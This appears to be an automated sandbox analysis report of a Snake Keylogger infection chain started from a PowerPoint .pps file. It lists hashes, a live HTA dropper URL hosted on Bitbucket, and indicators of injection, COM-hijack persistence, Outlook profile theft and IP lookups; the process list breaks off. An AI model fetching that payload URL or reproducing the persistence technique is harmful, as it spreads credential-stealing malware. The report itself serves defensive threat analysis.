snakekeylogger | ad732770d35cd2619b05588bc0f016e3015cd45ed5e97dd5b61eb61acd4c1e88

Resubmissions

30-09-2022 23:49

220930-3vf8jsfbd3 10

30-09-2022 23:05

220930-23cdwsgahq 10

Analysis

max time kernel
1712s
max time network
1755s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
30-09-2022 23:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ae4932402776b79b18dac096d0afdcc986f7bef1459bfb9bb5675f2b074d8e04.pps
Size

102KB
MD5

b47c0f0957935cfc3c27337b8f117d75
SHA1

1228ae88cfc7a2a80506cd2e4fb14f22a5f8d76c
SHA256

ae4932402776b79b18dac096d0afdcc986f7bef1459bfb9bb5675f2b074d8e04
SHA512

208edf3bf8dfb38d738a86db7a240c0ad985ed14b8f58435bcd945d4ca7904469c60bdcb3fb53f91d9f8d91d47c68b5ef26941b44cdb986959cc9e59e907e50e
SSDEEP

768:kf9BcTRDkSIOd0Xg4JbvsyEVK3/L1U82cY3/A5jEcjo:kutY1OmvsyEVKvL1U0WA5js

Score

10^/10

snakekeylogger collection keylogger persistence stealer

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://bitbucket.org/!api/2.0/snippets/tinypro/rEG58e/000e903c314ad0a34dfaac0751c43024bbf2dadd/files/blessed2.txt

Signatures

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exePOWERSHELL.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1104	2236	cmd.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2804	3136	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3536	3136	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2492	3248	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4572	4048	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4636	952	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1252	4484	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4108	4040	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3796	4696	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3708	1452	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5068	4916	POWERSHELL.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3952	768	POWERSHELL.exe

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4012-180-0x000000000042060E-mapping.dmp	family_snakekeylogger
behavioral1/memory/4012-184-0x0000000000770000-0x0000000000796000-memory.dmp	family_snakekeylogger
behavioral1/memory/2560-200-0x000000000042060E-mapping.dmp	family_snakekeylogger
behavioral1/memory/1496-214-0x000000000042060E-mapping.dmp	family_snakekeylogger
behavioral1/memory/4300-228-0x000000000042060E-mapping.dmp	family_snakekeylogger
behavioral1/memory/1260-242-0x000000000042060E-mapping.dmp	family_snakekeylogger
behavioral1/memory/2160-256-0x000000000042060E-mapping.dmp	family_snakekeylogger
behavioral1/memory/992-270-0x000000000042060E-mapping.dmp	family_snakekeylogger
behavioral1/memory/2620-284-0x000000000042060E-mapping.dmp	family_snakekeylogger
behavioral1/memory/4936-298-0x000000000042060E-mapping.dmp	family_snakekeylogger

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exemshta.exePOWERSHELL.exe

flow pid process

24 4740 powershell.exe
25 4380 mshta.exe
26 4380 mshta.exe
29 2804 POWERSHELL.exe

flow	pid	process
24	4740	powershell.exe
25	4380	mshta.exe
26	4380	mshta.exe
29	2804	POWERSHELL.exe

Registers COM server for autorun 1 TTPs 20 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe

Accesses Microsoft Outlook profiles 1 TTPs 30 IoCs

collection

Email Collection

T1114

Processes:

aspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

52 checkip.dyndns.org
58 checkip.dyndns.org
61 checkip.dyndns.org
63 checkip.dyndns.org
229 checkip.dyndns.org
45 checkip.dyndns.org

flow	ioc
52	checkip.dyndns.org
58	checkip.dyndns.org
61	checkip.dyndns.org
63	checkip.dyndns.org
229	checkip.dyndns.org
45	checkip.dyndns.org

Drops file in System32 directory 10 IoCs

Processes:

svchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{9CBA7123-D80A-4C24-821A-775030C59DBC}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{8348A957-23BD-46D8-86A3-73A83EF4834B}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{D00EE603-B63E-4311-B9B8-20726AA8B441}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallAgent\Checkpoints\9NXQXXLFST89.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallAgent\Checkpoints\9NXQXXLFST89.dat	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{A6CFF4E7-C9BD-4691-AD9C-0711F144A70D}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{65A36DE6-0115-46FE-9C44-88836E453E42}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{2CDB77A1-91A0-4822-8217-1D1FDA287424}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallAgent\Checkpoints\9NCBCSZSJRSB.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallAgent\Checkpoints\9NCBCSZSJRSB.dat	svchost.exe

Suspicious use of SetThreadContext 10 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4032 set thread context of 4012	4032	powershell.exe	aspnet_compiler.exe
PID 4844 set thread context of 2560	4844	powershell.exe	aspnet_compiler.exe
PID 4680 set thread context of 1496	4680	powershell.exe	aspnet_compiler.exe
PID 2248 set thread context of 4300	2248	powershell.exe	aspnet_compiler.exe
PID 4876 set thread context of 1260	4876	powershell.exe	aspnet_compiler.exe
PID 4660 set thread context of 2160	4660	powershell.exe	aspnet_compiler.exe
PID 3852 set thread context of 992	3852	powershell.exe	aspnet_compiler.exe
PID 4644 set thread context of 2620	4644	powershell.exe	aspnet_compiler.exe
PID 3964 set thread context of 4936	3964	powershell.exe	aspnet_compiler.exe
PID 3508 set thread context of 1560	3508	powershell.exe	aspnet_compiler.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Modifies registry class 40 IoCs

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\	reg.exe

Modifies registry key 1 TTPs 20 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
2204	reg.exe
4904	reg.exe
2856	reg.exe
1392	reg.exe
3756	reg.exe
4024	reg.exe
3112	reg.exe
3944	reg.exe
3416	reg.exe
1048	reg.exe
4844	reg.exe
660	reg.exe
3572	reg.exe
4372	reg.exe
3880	reg.exe
60	reg.exe
1052	reg.exe
4620	reg.exe
3736	reg.exe
2344	reg.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

2236 POWERPNT.EXE

pid	process
2236	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 59 IoCs

Processes:

powershell.exePOWERSHELL.exepowershell.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exePOWERSHELL.exepowershell.exeaspnet_compiler.exe

pid	process
4740	powershell.exe
4740	powershell.exe
2804	POWERSHELL.exe
2804	POWERSHELL.exe
2616	powershell.exe
2616	powershell.exe
3536	POWERSHELL.exe
3536	POWERSHELL.exe
4032	powershell.exe
4032	powershell.exe
4012	aspnet_compiler.exe
2492	POWERSHELL.exe
2492	POWERSHELL.exe
4844	powershell.exe
4844	powershell.exe
2560	aspnet_compiler.exe
4572	POWERSHELL.exe
4572	POWERSHELL.exe
4680	powershell.exe
4680	powershell.exe
1496	aspnet_compiler.exe
4636	POWERSHELL.exe
4636	POWERSHELL.exe
2248	powershell.exe
2248	powershell.exe
4300	aspnet_compiler.exe
1252	POWERSHELL.exe
1252	POWERSHELL.exe
4876	powershell.exe
4876	powershell.exe
1260	aspnet_compiler.exe
4108	POWERSHELL.exe
4108	POWERSHELL.exe
4660	powershell.exe
